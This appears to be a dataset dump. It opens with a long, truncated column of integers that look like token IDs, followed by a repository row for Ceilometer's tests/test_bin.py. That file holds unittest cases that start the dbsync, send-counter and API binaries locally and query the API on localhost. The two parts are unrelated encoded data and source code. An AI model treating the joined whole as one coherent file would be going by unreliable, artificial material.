3757,
25397,
29918,
10184,
7464,
13,
4706,
1962,
29922,
4905,
29892,
1602,
326,
1338,
29922,
7099,
326,
1338,
29897,
13,
13,
1678,
565,
4464,
338,
8170,
29889,
1525,
5348,
1660,
29928,
29901,
13,
4706,
19012,
353,
525,
1761,
29898,
276,
874,
287,
29898,
29916,
876,
29915,
13,
1678,
565,
4464,
338,
8170,
29889,
7068,
29965,
4198,
20566,
29901,
13,
4706,
19012,
353,
525,
8172,
29889,
845,
21897,
29898,
29916,
16029,
13,
13,
1678,
3367,
1338,
353,
518,
29906,
1068,
29895,
363,
413,
297,
3464,
29898,
29896,
29900,
29892,
3317,
29918,
29895,
4638,
13,
1678,
954,
353,
29871,
29896,
29900,
29900,
13,
1678,
363,
302,
297,
3367,
1338,
29901,
13,
4706,
565,
4464,
338,
8170,
29889,
1964,
4945,
29940,
1299,
4214,
29901,
13,
9651,
19012,
353,
14550,
13,
786,
29918,
3204,
353,
14319,
29898,
3881,
29898,
29900,
29892,
29912,
29900,
1118,
29906,
511,
3881,
3319,
29900,
7402,
29896,
29892,
29900,
6653,
29906,
876,
13,
29916,
11759,
29875,
363,
474,
297,
4256,
8504,
29889,
14153,
10456,
786,
29918,
3204,
4638,
13,
4907,
4286,
4830,
29898,
29876,
29897,
13,
4706,
286,
29918,
6008,
353,
931,
277,
29889,
2230,
277,
29898,
17868,
2433,
8896,
29918,
10184,
29898,
29916,
29897,
742,
6230,
2433,
4907,
13,
5215,
4036,
13,
3166,
521,
29900,
29896,
29889,
27489,
342,
29918,
10184,
1053,
3765,
29918,
10184,
13,
29916,
29922,
1761,
29898,
3881,
3319,
20073,
13,
8875,
4907,
4286,
4830,
29898,
29876,
29892,
19125,
511,
1353,
29922,
1949,
29897,
13,
13,
4706,
286,
29918,
4378,
353,
931,
277,
29889,
2230,
277,
29898,
17868,
2433,
23975,
29918,
10184,
29898,
29916,
29897,
742,
6230,
2433,
4907,
13,
5215,
4036,
13,
3166,
521,
29900,
29896,
29889,
27489,
342,
29918,
10184,
1053,
26691,
29918,
10184,
13,
29916,
29922,
1761,
29898,
3881,
3319,
20073,
13,
8875,
4907,
4286,
4830,
29898,
29876,
29892,
19125,
511,
1353,
29922,
1949,
29897,
13,
13,
4706,
286,
29918,
1896,
353,
931,
277,
29889,
2230,
277,
29898,
17868,
2433,
27489,
342,
29918,
10184,
29898,
29916,
29897,
742,
6230,
2433,
4907,
13,
5215,
4036,
13,
3166,
521,
29900,
29896,
29889,
27489,
342,
29918,
10184,
1053,
10150,
29918,
10184,
13,
29916,
29922,
1761,
29898,
3881,
3319,
20073,
13,
8875,
4907,
4286,
4830,
29898,
29876,
29892,
19125,
511,
1353,
29922,
1949,
29897,
13,
13,
4706,
396,
2898,
29899,
401,
1438,
1819,
1951,
2125,
2086,
1472,
304,
10272,
856,
13,
4706,
565,
302,
1405,
29871,
29896,
29900,
29946,
29947,
29945,
29955,
29953,
29901,
13,
9651,
286,
29918,
698,
353,
6213,
13,
4706,
1683,
29901,
13,
9651,
286,
29918,
698,
353,
931,
277,
29889,
2230,
277,
29898,
17868,
2433,
29873,
2905,
1166,
29918,
10184,
29898,
29916,
29897,
742,
6230,
2433,
4907,
13,
5215,
4036,
13,
3166,
521,
29900,
29896,
29889,
27489,
342,
29918,
10184,
1053,
14743,
29918,
10184,
13,
29916,
29922,
1761,
29898,
3881,
3319,
20073,
13,
8875,
4907,
4286,
4830,
29898,
29876,
29892,
19125,
511,
1353,
29922,
1949,
29897,
13,
13,
4706,
286,
29918,
303,
353,
931,
277,
29889,
2230,
277,
29898,
17868,
2433,
6605,
292,
29918,
10184,
29898,
29916,
29897,
742,
6230,
2433,
4907,
13,
5215,
4036,
13,
3166,
521,
29900,
29896,
29889,
27489,
342,
29918,
10184,
1053,
16548,
29918,
10184,
13,
29916,
29922,
1761,
29898,
3881,
3319,
20073,
13,
8875,
4907,
4286,
4830,
29898,
29876,
29892,
19125,
511,
1353,
29922,
1949,
29897,
13,
13,
4706,
286,
29918,
2273,
353,
931,
277,
29889,
2230,
277,
29898,
17868,
2433,
3757,
25397,
29918,
10184,
29898,
29916,
29897,
742,
6230,
2433,
4907,
13,
5215,
4036,
13,
3166,
521,
29900,
29945,
29889,
305,
11768,
1053,
16732,
29918,
10184,
13,
29916,
29922,
1761,
29898,
3881,
3319,
20073,
13,
8875,
4907,
4286,
4830,
29898,
29876,
29892,
19125,
511,
1353,
29922,
1949,
29897,
13,
13,
4706,
396,
4971,
666,
6057,
393,
526,
2675,
304,
367,
2086,
19390,
13,
4706,
565,
286,
29918,
698,
29901,
13,
9651,
19018,
29889,
798,
4197,
29876,
29892,
286,
29918,
6008,
29892,
286,
29918,
4378,
29892,
286,
29918,
1896,
29892,
286,
29918,
303,
29892,
286,
29918,
698,
29892,
286,
29918,
2273,
2314,
13,
4706,
1683,
29901,
13,
9651,
19018,
29889,
798,
4197,
29876,
29892,
286,
29918,
6008,
29892,
286,
29918,
4378,
29892,
286,
29918,
1896,
29892,
286,
29918,
303,
29871,
2314,
13,
13,
1678,
736,
19018,
13,
13,
1753,
18755,
29898,
29876,
1125,
13,
1678,
9995,
29902,
484,
4543,
383,
747,
265,
21566,
1162,
332,
573,
5314,
1213,
15945,
13,
1678,
565,
302,
5277,
29871,
29900,
29901,
736,
29871,
29900,
13,
1678,
565,
302,
1275,
29871,
29896,
29901,
736,
29871,
29896,
13,
13,
1678,
736,
18755,
29898,
29876,
29899,
29896,
29897,
718,
18755,
29898,
29876,
29899,
29906,
29897,
13,
13,
29888,
747,
29918,
10185,
29918,
2798,
353,
518,
29900,
29962,
13,
1753,
18755,
29918,
10185,
29898,
29876,
1125,
13,
1678,
9995,
29902,
484,
4543,
383,
747,
265,
21566,
1162,
332,
573,
5314,
1213,
15945,
13,
1678,
18755,
29918,
10185,
29918,
2798,
29961,
29900,
29962,
4619,
29871,
29896,
13,
1678,
565,
302,
5277,
29871,
29900,
29901,
736,
29871,
29900,
13,
1678,
565,
302,
5277,
29871,
29896,
29901,
736,
29871,
29896,
13,
13,
1678,
736,
18755,
29918,
10185,
29898,
29876,
29899,
29896,
29897,
718,
18755,
29918,
10185,
29898,
29876,
29899,
29906,
29897,
13,
13,
1753,
18755,
29918,
2541,
29918,
29880,
1682,
294,
29898,
29876,
1125,
13,
1678,
9995,
13,
1678,
383,
23538,
29916,
29974,
29891,
29897,
353,
29871,
29896,
29914,
29906,
334,
313,
29943,
29918,
29916,
334,
365,
29918,
29891,
29897,
718,
313,
29943,
29918,
29891,
334,
365,
29918,
29916,
29897,
13,
13,
1678,
1954,
771,
1490,
19201,
773,
24243,
3694,
29889,
13,
1678,
9995,
13,
1678,
954,
4789,
25397,
1888,
771,
1490,
29961,
29900,
29962,
4619,
29871,
29896,
13,
1678,
565,
302,
1275,
29871,
29900,
29901,
736,
29871,
29900,
13,
1678,
565,
302,
5277,
29871,
29906,
29901,
736,
29871,
29896,
13,
1678,
565,
302,
1275,
29871,
29941,
29901,
736,
29871,
29906,
268,
396,
2448,
5779,
304,
367,
1244,
304,
5557,
10362,
20437,
13,
13,
1678,
21162,
353,
302,
448,
302,
458,
29906,
13,
1678,
736,
313,
29888,
747,
29918,
2541,
29918,
29880,
1682,
294,
29898,
29876,
458,
29906,
11877,
29880,
1682,
294,
29918,
2541,
29918,
29888,
747,
29898,
1745,
475,
672,
29897,
718,
18755,
29918,
2541,
29918,
29880,
1682,
294,
29898,
1745,
475,
672,
11877,
29880,
1682,
294,
29918,
2541,
29918,
29888,
747,
29898,
29876,
458,
29906,
876,
847,
29871,
29906,
13,
13,
1753,
21626,
294,
29918,
2541,
29918,
29888,
747,
29898,
29876,
1125,
13,
1678,
9995,
13,
1678,
1954,
771,
1490,
16732,
5314,
393,
4893,
10631,
310,
12439,
393,
29901,
13,
13,
1678,
365,
29876,
353,
383,
29876,
29899,
29896,
718,
383,
29876,
29974,
29896,
363,
302,
1405,
29871,
29896,
13,
1678,
9995,
13,
1678,
954,
4789,
25397,
1888,
771,
1490,
29961,
29900,
29962,
4619,
29871,
29896,
13,
1678,
565,
302,
1275,
29871,
29900,
29901,
736,
29871,
29906,
13,
1678,
565,
302,
1275,
29871,
29896,
29901,
736,
29871,
29896,
13,
13,
1678,
736,
18755,
29918,
2541,
29918,
29880,
1682,
294,
29898,
29876,
29899,
29896,
29897,
718,
18755,
29918,
2541,
29918,
29880,
1682,
294,
29898,
29876,
29974,
29896,
29897,
13,
13,
1753,
18755,
29918,
2371,
29898,
4905,
29922,
5574,
29892,
1602,
326,
1338,
29922,
29941,
1125,
13,
1678,
9995,
5631,
403,
1591,
6445,
12212,
16732,
2437,
542,
800,
310,
18755,
265,
21566,
1213,
15945,
13,
1678,
1053,
5844,
13,
13,
1678,
19018,
353,
3630,
3562,
4197,
29947,
29892,
29896,
29906,
29892,
29896,
29906,
1402,
1839,
29940,
742,
525,
18800,
4789,
742,
525,
3195,
7464,
1962,
29922,
4905,
29892,
1602,
326,
1338,
29922,
7099,
326,
1338,
29897,
13,
1678,
19018,
29889,
4830,
877,
18800,
4789,
742,
525,
29881,
1495,
13,
1678,
822,
1518,
29918,
4299,
29898,
29876,
29892,
263,
29892,
289,
1125,
13,
4706,
9995,
2500,
2497,
363,
319,
29930,
29940,
29985,
29933,
869,
15945,
29908,
13,
4706,
736,
263,
29930,
755,
29889,
12248,
29898,
29876,
29892,
289,
29897,
13,
13,
1678,
363,
302,
297,
3464,
29898,
29941,
29892,
29871,
29896,
29900,
29900,
1125,
13,
4706,
2030,
353,
954,
4789,
25397,
1888,
771,
1490,
29961,
29900,
29962,
13,
4706,
18755,
29918,
2541,
29918,
29880,
1682,
294,
29898,
29876,
29897,
13,
4706,
1904,
353,
1518,
29918,
4299,
29898,
29876,
29892,
29871,
29900,
29889,
29906,
29947,
29955,
29896,
29896,
29941,
29946,
29941,
29892,
29871,
29906,
29889,
29945,
29947,
29900,
29941,
29896,
29946,
29947,
29896,
29897,
13,
4706,
19018,
29889,
798,
4197,
29876,
29892,
313,
1949,
4789,
25397,
1888,
771,
1490,
29961,
29900,
29962,
448,
2030,
511,
1904,
2314,
13,
13,
1678,
565,
12655,
29918,
2704,
29901,
13,
4706,
1209,
13,
1678,
1683,
29901,
13,
4706,
1053,
12655,
408,
7442,
13,
4706,
515,
4560,
2272,
29889,
20640,
675,
1053,
11672,
29918,
9202,
13,
13,
4706,
921,
29918,
2749,
353,
7442,
29889,
2378,
29898,
16400,
29889,
4914,
29898,
16400,
29889,
21134,
29961,
29900,
12622,
13,
4706,
343,
29918,
2749,
353,
7442,
29889,
2378,
29898,
16400,
29889,
4914,
29898,
16400,
29889,
21134,
29961,
29896,
12622,
13,
13,
4706,
822,
7442,
29918,
4548,
29918,
4299,
29898,
29876,
29892,
263,
29892,
289,
1125,
13,
9651,
9995,
2500,
2497,
363,
319,
29930,
29940,
29985,
29933,
869,
15945,
29908,
13,
9651,
736,
263,
29930,
9302,
29889,
13519,
29898,
29876,
29892,
289,
29897,
13,
13,
4706,
565,
1962,
29901,
13,
9651,
518,
4548,
29918,
1111,
12352,
29879,
29892,
903,
29962,
4706,
353,
11672,
29918,
9202,
29898,
9302,
29918,
4548,
29918,
4299,
29892,
921,
29918,
2749,
29892,
343,
29918,
2749,
29897,
13,
9651,
1596,
877,
29909,
29930,
29940,
29985,
29933,
29871,
353,
12365,
29889,
29896,
29906,
29888,
29913,
29930,
29940,
998,
29901,
29888,
29913,
15300,
4830,
29898,
4548,
29918,
1111,
12352,
29879,
29961,
29900,
1402,
1518,
29918,
1111,
12352,
29879,
29961,
29896,
12622,
13,
13,
1678,
736,
19018,
13,
13,
1753,
29825,
11911,
29918,
354,
481,
29898,
1949,
29918,
3626,
1338,
29922,
29896,
29900,
29900,
29900,
29900,
29900,
29900,
29900,
1125,
13,
1678,
9995,
13,
1678,
11221,
263,
7687,
16947,
29892,
29825,
11911,
2441,
1881,
23950,
391,
1711,
29889,
13,
13,
1678,
910,
1795,
451,
664,
278,
937,
931,
29892,
541,
1156,
10324,
14734,
29892,
278,
1494,
13,
1678,
1950,
6257,
3291,
892,
1476,
29901,
13,
13,
1678,
518,
29896,
29945,
29892,
29871,
29896,
29906,
29892,
29871,
29955,
29892,
29871,
29946,
29892,
29871,
29896,
29941,
29892,
29871,
29947,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29946,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
29871,
29896,
29900,
29892,
29871,
29929,
29892,
29871,
29953,
29892,
29871,
29929,
29892,
29871,
29896,
29906,
29892,
29871,
29947,
29892,
29871,
29945,
29892,
29871,
29896,
29946,
29962,
13,
13,
1678,
518,
29947,
29892,
29871,
29906,
29892,
29871,
29896,
29945,
29892,
29871,
29945,
29892,
29871,
29896,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29896,
29892,
29871,
29946,
29892,
29871,
29896,
29906,
29892,
29871,
29896,
29906,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29941,
29892,
29871,
29953,
29892,
29871,
29929,
29892,
29871,
29955,
29892,
29871,
29896,
29946,
29892,
29871,
29929,
29892,
29871,
29947,
29962,
29871,
1476,
297,
29871,
29906,
29892,
29941,
29947,
29900,
29892,
29946,
29941,
29941,
14335,
13,
13,
1678,
518,
29896,
29941,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29906,
29892,
29871,
29945,
29892,
29871,
29896,
29900,
29892,
29871,
29953,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29896,
29892,
29871,
29929,
29892,
29871,
29896,
29892,
29871,
29896,
29906,
29892,
29871,
29947,
29892,
29871,
29896,
29945,
29892,
29871,
29929,
29892,
29871,
29955,
29892,
29871,
29946,
29892,
29871,
29947,
29892,
29871,
29906,
29962,
13,
13,
1678,
518,
29929,
29892,
29871,
29896,
29900,
29892,
29871,
29953,
29892,
29871,
29896,
29941,
29892,
29871,
29896,
29945,
29892,
29871,
29947,
29892,
29871,
29929,
29892,
29871,
29946,
29892,
29871,
29906,
29892,
29871,
29896,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29906,
29892,
29871,
29955,
29892,
29871,
29947,
29892,
29871,
29945,
29892,
29871,
29896,
29906,
29962,
1476,
297,
29871,
29947,
29941,
29929,
29946,
29945,
29946,
29946,
14734,
29889,
13,
13,
1678,
518,
29945,
29892,
29871,
29929,
29892,
29871,
29953,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29900,
29892,
29871,
29896,
29941,
29892,
29871,
29896,
29906,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29945,
29892,
29871,
29896,
29892,
29871,
29896,
29906,
29892,
29871,
29947,
29892,
29871,
29896,
29946,
29892,
29871,
29929,
29892,
29871,
29955,
29892,
29871,
29946,
29892,
29871,
29947,
29892,
29871,
29906,
29962,
1476,
297,
29871,
29941,
29906,
29941,
29946,
29906,
29906,
29900,
14734,
13,
539,
411,
16717,
29871,
29896,
29946,
13,
1678,
9995,
13,
1678,
515,
521,
29900,
29945,
29889,
354,
2547,
441,
1053,
940,
481,
13685,
13,
1678,
515,
4036,
1053,
528,
21897,
29892,
16717,
13,
1678,
319,
353,
518,
29896,
29945,
29892,
29871,
29896,
29941,
29892,
29871,
29896,
29946,
29892,
29871,
29896,
29906,
29892,
29871,
29896,
29896,
29892,
29871,
29896,
29906,
29892,
29871,
29896,
29946,
29892,
29871,
29947,
29892,
29871,
29929,
29892,
29871,
29896,
29892,
29871,
29896,
29900,
29892,
29871,
29947,
29892,
29871,
29953,
29892,
29871,
29929,
29892,
29871,
29955,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29906,
29962,
13,
1678,
405,
353,
7431,
29898,
29909,
29897,
13,
1678,
901,
353,
29871,
29906,
13,
1678,
16717,
29898,
29896,
29946,
29897,
13,
1678,
363,
474,
297,
3464,
29898,
1949,
29918,
3626,
1338,
1125,
13,
4706,
3509,
353,
1051,
29898,
29909,
29897,
13,
4706,
528,
21897,
29898,
8552,
29897,
13,
4706,
3509,
29896,
353,
1051,
29898,
8552,
29897,
13,
4706,
298,
29879,
353,
940,
481,
13685,
29898,
8552,
29897,
13,
4706,
697,
353,
298,
29879,
29889,
29909,
29961,
29940,
458,
29906,
448,
901,
17531,
13,
4706,
1023,
353,
319,
29961,
29940,
458,
29906,
448,
901,
17531,
13,
4706,
565,
697,
1275,
1023,
29901,
13,
9651,
736,
525,
8875,
1476,
297,
6571,
14734,
29889,
4286,
4830,
29898,
8552,
29896,
29892,
474,
29897,
13,
13,
1678,
736,
525,
9290,
1476,
297,
6571,
14734,
4286,
4830,
29898,
29875,
29897,
13,
13,
1753,
4635,
291,
29918,
6605,
29918,
6500,
29898,
3317,
29918,
29895,
29922,
29896,
29947,
29892,
1962,
29922,
5574,
29892,
1602,
326,
1338,
29922,
29941,
1125,
13,
1678,
9995,
5631,
403,
6137,
363,
24505,
291,
20025,
1213,
15945,
13,
1678,
396,
382,
4387,
403,
22267,
8225,
13,
1678,
921,
353,
5159,
13,
1678,
343,
353,
5159,
13,
1678,
363,
302,
297,
518,
29906,
1068,
29895,
363,
413,
297,
3464,
29898,
29947,
29892,
29871,
29896,
29906,
4638,
29901,
13,
4706,
286,
29918,
7851,
29918,
6500,
353,
29871,
29896,
29900,
29900,
29900,
29930,
1195,
29898,
2230,
277,
29889,
14358,
29898,
17868,
2433,
7851,
291,
29918,
6605,
29918,
6500,
29898,
29909,
29897,
742,
6230,
2433,
4907,
13,
5215,
4036,
13,
3166,
521,
29900,
29945,
29889,
6605,
292,
1053,
4635,
291,
29918,
6605,
29918,
6500,
13,
29909,
29922,
1761,
29898,
3881,
3319,
20073,
13,
8172,
29889,
845,
21897,
29898,
29909,
29897,
4907,
4286,
4830,
29898,
29876,
511,
12312,
29922,
29896,
29900,
29892,
1353,
29922,
29896,
29900,
876,
13,
4706,
921,
29889,
4397,
29898,
29876,
29897,
13,
4706,
343,
29889,
4397,
29898,
29885,
29918,
7851,
29918,
6500,
29897,
13,
13,
1678,
396,
3189,
8462,
29879,
526,
4133,
408,
937,
2980,
13,
1678,
565,
12655,
29918,
2704,
29901,
13,
4706,
1480,
29918,
1111,
12352,
29879,
353,
25904,
29918,
1111,
12352,
29879,
353,
518,
29900,
29892,
29871,
29900,
29962,
13,
1678,
1683,
29901,
13,
4706,
1053,
12655,
408,
7442,
13,
4706,
515,
4560,
2272,
29889,
20640,
675,
1053,
11672,
29918,
9202,
13,
4706,
518,
1188,
29918,
1111,
12352,
29879,
29892,
903,
29962,
353,
11672,
29918,
9202,
29898,
29876,
29918,
1188,
29918,
29876,
29918,
4299,
29892,
7442,
29889,
2378,
29898,
29916,
511,
7442,
29889,
2378,
29898,
29891,
876,
13,
4706,
518,
3425,
29878,
2454,
29918,
1111,
12352,
29879,
29892,
903,
29962,
353,
11672,
29918,
9202,
29898,
3425,
29878,
2454,
29918,
4299,
29892,
7442,
29889,
2378,
29898,
29916,
511,
7442,
29889,
2378,
29898,
29891,
876,
13,
13,
1678,
565,
1962,
29901,
13,
4706,
1596,
877,
2182,
7887,
2454,
353,
6571,
29930,
29940,
29930,
29940,
718,
6571,
29930,
29940,
4286,
4830,
29898,
3425,
29878,
2454,
29918,
1111,
12352,
29879,
29961,
29900,
1402,
25904,
29918,
1111,
12352,
29879,
29961,
29896,
12622,
13,
4706,
1596,
877,
3403,
539,
353,
12365,
29889,
29896,
29906,
29888,
29913,
29930,
29940,
29930,
1188,
29906,
29898,
29940,
29897,
4286,
4830,
29898,
1188,
29918,
1111,
12352,
29879,
29961,
29900,
12622,
13,
4706,
1596,
580,
13,
13,
1678,
19018,
353,
3630,
3562,
4197,
29896,
29906,
29892,
29896,
29900,
29892,
29896,
29900,
29892,
29896,
29900,
1402,
1839,
29940,
3788,
2481,
3788,
2182,
328,
3788,
3403,
7464,
1962,
29922,
4905,
29892,
1602,
326,
1338,
29922,
7099,
326,
1338,
29897,
13,
1678,
363,
302,
29892,
29886,
297,
14319,
29898,
29916,
29892,
29891,
1125,
13,
4706,
19018,
29889,
798,
4197,
29876,
29892,
282,
29892,
25904,
29918,
4299,
29898,
29876,
29892,
13,
18884,
25904,
29918,
1111,
12352,
29879,
29961,
29900,
1402,
25904,
29918,
1111,
12352,
29879,
29961,
29896,
11724,
302,
29918,
1188,
29918,
29876,
29918,
4299,
29898,
29876,
29892,
1480,
29918,
1111,
12352,
29879,
29961,
29900,
2314,
2314,
13,
13,
1678,
363,
302,
297,
518,
29906,
1068,
29895,
363,
413,
297,
3464,
29898,
29896,
29906,
29892,
4236,
29918,
29895,
4638,
29901,
13,
4706,
286,
29918,
7851,
29918,
6500,
353,
29871,
29896,
29900,
29900,
29900,
29930,
1195,
29898,
2230,
277,
29889,
14358,
29898,
17868,
2433,
7851,
291,
29918,
6605,
29918,
6500,
29898,
29909,
29897,
742,
6230,
2433,
4907,
13,
5215,
4036,
13,
3166,
521,
29900,
29945,
29889,
6605,
292,
1053,
4635,
291,
29918,
6605,
29918,
6500,
13,
29909,
29922,
1761,
29898,
3881,
3319,
20073,
13,
8172,
29889,
845,
21897,
29898,
29909,
29897,
4907,
4286,
4830,
29898,
29876,
511,
12312,
29922,
29896,
29900,
29892,
1353,
29922,
29896,
29900,
876,
13,
4706,
19018,
29889,
798,
4197,
29876,
29892,
286,
29918,
7851,
29918,
6500,
29892,
13,
9651,
25904,
29918,
4299,
29898,
29876,
29892,
25904,
29918,
1111,
12352,
29879,
29961,
29900,
1402,
25904,
29918,
1111,
12352,
29879,
29961,
29896,
11724,
13,
9651,
302,
29918,
1188,
29918,
29876,
29918,
4299,
29898,
29876,
29892,
1480,
29918,
1111,
12352,
29879,
29961,
29900,
2314,
2314,
13,
1678,
736,
19018,
13,
13,
1753,
14260,
29918,
14634,
29918,
6605,
29918,
4691,
29918,
3293,
29898,
3317,
29918,
29895,
29922,
29896,
29945,
29892,
1962,
29922,
5574,
29892,
1602,
326,
1338,
29922,
29941,
1125,
13,
1678,
9995,
10495,
381,
936,
14260,
363,
10366,
2656,
773,
269,
506,
292,
1213,
15945,
13,
1678,
19018,
353,
3630,
3562,
4197,
29947,
29892,
29871,
29947,
29892,
29871,
29947,
1402,
6024,
29940,
742,
525,
14634,
742,
525,
14634,
29903,
5897,
7464,
1962,
29922,
4905,
29892,
1602,
326,
1338,
29922,
7099,
326,
1338,
29897,
13,
1678,
363,
302,
297,
518,
29906,
1068,
29895,
363,
413,
297,
3464,
29898,
29947,
29892,
4236,
29918,
29895,
4638,
29901,
13,
4706,
286,
29918,
18337,
353,
29871,
29896,
29900,
29900,
29900,
29930,
1195,
29898,
2230,
277,
29889,
14358,
29898,
17868,
2433,
18337,
29918,
14634,
29918,
6605,
29898,
29909,
29897,
742,
6230,
2433,
4907,
13,
5215,
4036,
13,
3166,
521,
29900,
29945,
29889,
305,
11768,
1053,
22780,
29918,
14634,
29918,
6605,
13,
29909,
29922,
1761,
29898,
3881,
3319,
20073,
13,
8172,
29889,
845,
21897,
29898,
29909,
29897,
4907,
4286,
4830,
29898,
29876,
511,
12312,
29922,
29896,
29900,
29892,
1353,
29922,
29896,
29900,
876,
13,
13,
4706,
286,
29918,
14634,
353,
29871,
29896,
29900,
29900,
29900,
29930,
1195,
29898,
2230,
277,
29889,
14358,
29898,
17868,
2433,
14634,
29918,
6605,
29898,
29909,
29897,
742,
6230,
2433,
4907,
13,
5215,
4036,
13,
3166,
521,
29900,
29945,
29889,
14634,
1053,
10366,
29918,
6605,
13,
29909,
29922,
1761,
29898,
3881,
3319,
20073,
13,
8172,
29889,
845,
21897,
29898,
29909,
29897,
4907,
4286,
4830,
29898,
29876,
511,
12312,
29922,
29896,
29900,
29892,
1353,
29922,
29896,
29900,
876,
13,
13,
4706,
19018,
29889,
798,
4197,
29876,
29892,
286,
29918,
14634,
29892,
286,
29918,
18337,
2314,
13,
1678,
736,
19018,
13,
13,
13383,
13383,
13383,
13383,
4136,
2277,
29937,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
16385,
353,
29871,
29945,
13,
13,
1678,
411,
1222,
6269,
895,
8009,
29898,
29896,
29897,
408,
15058,
29918,
4537,
29901,
13,
4706,
1596,
877,
2886,
2302,
580,
297,
521,
29900,
29945,
29889,
3757,
1295,
291,
1495,
13,
4706,
1596,
29898,
6671,
29898,
27349,
29892,
15058,
29918,
4537,
511,
525,
4789,
25397,
2302,
1158,
1495,
13,
4706,
1596,
580,
13,
13,
1678,
411,
1222,
6269,
895,
8009,
29898,
29906,
29897,
408,
15058,
29918,
4537,
29901,
13,
4706,
1596,
877,
2886,
954,
29918,
2774,
2547,
580,
297,
521,
29900,
29945,
29889,
305,
11768,
1495,
13,
4706,
1596,
29898,
6671,
29898,
27349,
29892,
15058,
29918,
4537,
511,
525,
20606,
29872,
1353,
310,
2381,
2547,
297,
1409,
411,
29871,
29900,
6317,
405,
29899,
29896,
1495,
13,
4706,
1596,
580,
13,
13,
1678,
411,
1222,
6269,
895,
8009,
29898,
29941,
29897,
408,
15058,
29918,
4537,
29901,
13,
4706,
515,
521,
29900,
29945,
29889,
3757,
1295,
291,
1053,
1284,
29918,
3317,
29918,
2541,
29918,
2798,
13,
4706,
1596,
877,
3525,
1784,
5734,
14125,
304,
1284,
4236,
297,
1409,
310,
2159,
405,
29922,
29896,
29945,
29901,
742,
1284,
29918,
3317,
29918,
2541,
29918,
2798,
29898,
1761,
29898,
3881,
29898,
29896,
29945,
4961,
29961,
29900,
1402,
525,
272,
405,
29899,
29896,
1495,
13,
4706,
1596,
580,
13,
13,
1678,
411,
1222,
6269,
895,
8009,
29898,
29946,
29897,
408,
15058,
29918,
4537,
29901,
13,
4706,
14260,
29918,
14634,
29918,
6605,
29918,
4691,
29918,
3293,
580,
13,
4706,
1596,
877,
15836,
479,
20025,
411,
5132,
22780,
4857,
1960,
4180,
310,
4702,
479,
13685,
29889,
1495,
13,
4706,
1596,
580,
13,
13,
1678,
411,
1222,
6269,
895,
8009,
29898,
29945,
29897,
408,
15058,
29918,
4537,
29901,
13,
4706,
1065,
29918,
27489,
342,
29918,
10184,
29918,
3626,
1338,
29918,
2541,
29918,
3757,
25397,
29898,
7514,
29889,
1525,
5348,
1660,
29928,
29897,
13,
4706,
1596,
877,
2886,
16732,
29918,
10184,
580,
297,
521,
29900,
29945,
29889,
305,
11768,
29889,
1495,
13,
4706,
1596,
580,
13,
13,
1678,
411,
1222,
6269,
895,
8009,
29898,
29953,
29897,
408,
15058,
29918,
4537,
29901,
13,
4706,
18755,
29918,
2371,
580,
13,
4706,
1596,
877,
2886,
16732,
29918,
10184,
580,
297,
521,
29900,
29945,
29889,
305,
11768,
29889,
1495,
13,
4706,
1596,
580,
13,
13,
1678,
1596,
877,
4165,
3456,
292,
304,
29825,
11911,
16947,
29889,
910,
1795,
2125,
18325,
1474,
1472,
931,
1495,
13,
1678,
1596,
29898,
1127,
10669,
957,
29918,
354,
481,
3101,
13,
2
] |
tests/test_bin.py | CiscoSystems/ceilometer | 1 | 61810 | <reponame>CiscoSystems/ceilometer
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
#
# Copyright © 2012 eNovance <<EMAIL>>
#
# Author: <NAME> <<EMAIL>>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import httplib2
import json
import os
import random
import socket
import subprocess
import tempfile
import time
import unittest
class BinDbsyncTestCase(unittest.TestCase):
def setUp(self):
self.tempfile = tempfile.mktemp()
with open(self.tempfile, 'w') as tmp:
tmp.write("[DEFAULT]\n")
tmp.write("database_connection=log://localhost\n")
def test_dbsync_run(self):
subp = subprocess.Popen(["../bin/ceilometer-dbsync",
"--config-file=%s" % self.tempfile])
self.assertEqual(subp.wait(), 0)
def tearDown(self):
os.unlink(self.tempfile)
class BinSendCounterTestCase(unittest.TestCase):
def setUp(self):
self.tempfile = tempfile.mktemp()
with open(self.tempfile, 'w') as tmp:
tmp.write("[DEFAULT]\n")
tmp.write(
"rpc_backend=ceilometer.openstack.common.rpc.impl_fake\n")
tmp.write(
"pipeline_cfg_file=../etc/ceilometer/pipeline.yaml\n")
def test_send_counter_run(self):
subp = subprocess.Popen(["../bin/ceilometer-send-counter",
"--config-file=%s" % self.tempfile,
"--counter-resource=someuuid",
"--counter-name=mycounter"])
self.assertEqual(subp.wait(), 0)
def tearDown(self):
os.unlink(self.tempfile)
class BinApiTestCase(unittest.TestCase):
def setUp(self):
self.api_port = random.randint(10000, 11000)
self.http = httplib2.Http()
self.tempfile = tempfile.mktemp()
with open(self.tempfile, 'w') as tmp:
tmp.write("[DEFAULT]\n")
tmp.write(
"metering_api_port=%s\n" % self.api_port)
tmp.write(
"rpc_backend=ceilometer.openstack.common.rpc.impl_fake\n")
tmp.write("database_connection=log://localhost\n")
tmp.write(
"auth_strategy=noauth\n")
tmp.write(
"debug=true\n")
self.subp = subprocess.Popen(["../bin/ceilometer-api",
"--config-file=%s" % self.tempfile])
def tearDown(self):
os.unlink(self.tempfile)
self.subp.kill()
self.subp.wait()
def get_response(self, path):
url = 'http://%s:%d/%s' % ('127.0.0.1', self.api_port, path)
for x in range(10):
try:
r, c = self.http.request(url, 'GET')
except socket.error:
time.sleep(.3)
self.assertEqual(self.subp.poll(), None)
else:
return r, c
def test_v1(self):
response, content = self.get_response('v1/meters')
self.assertEqual(response.status, 200)
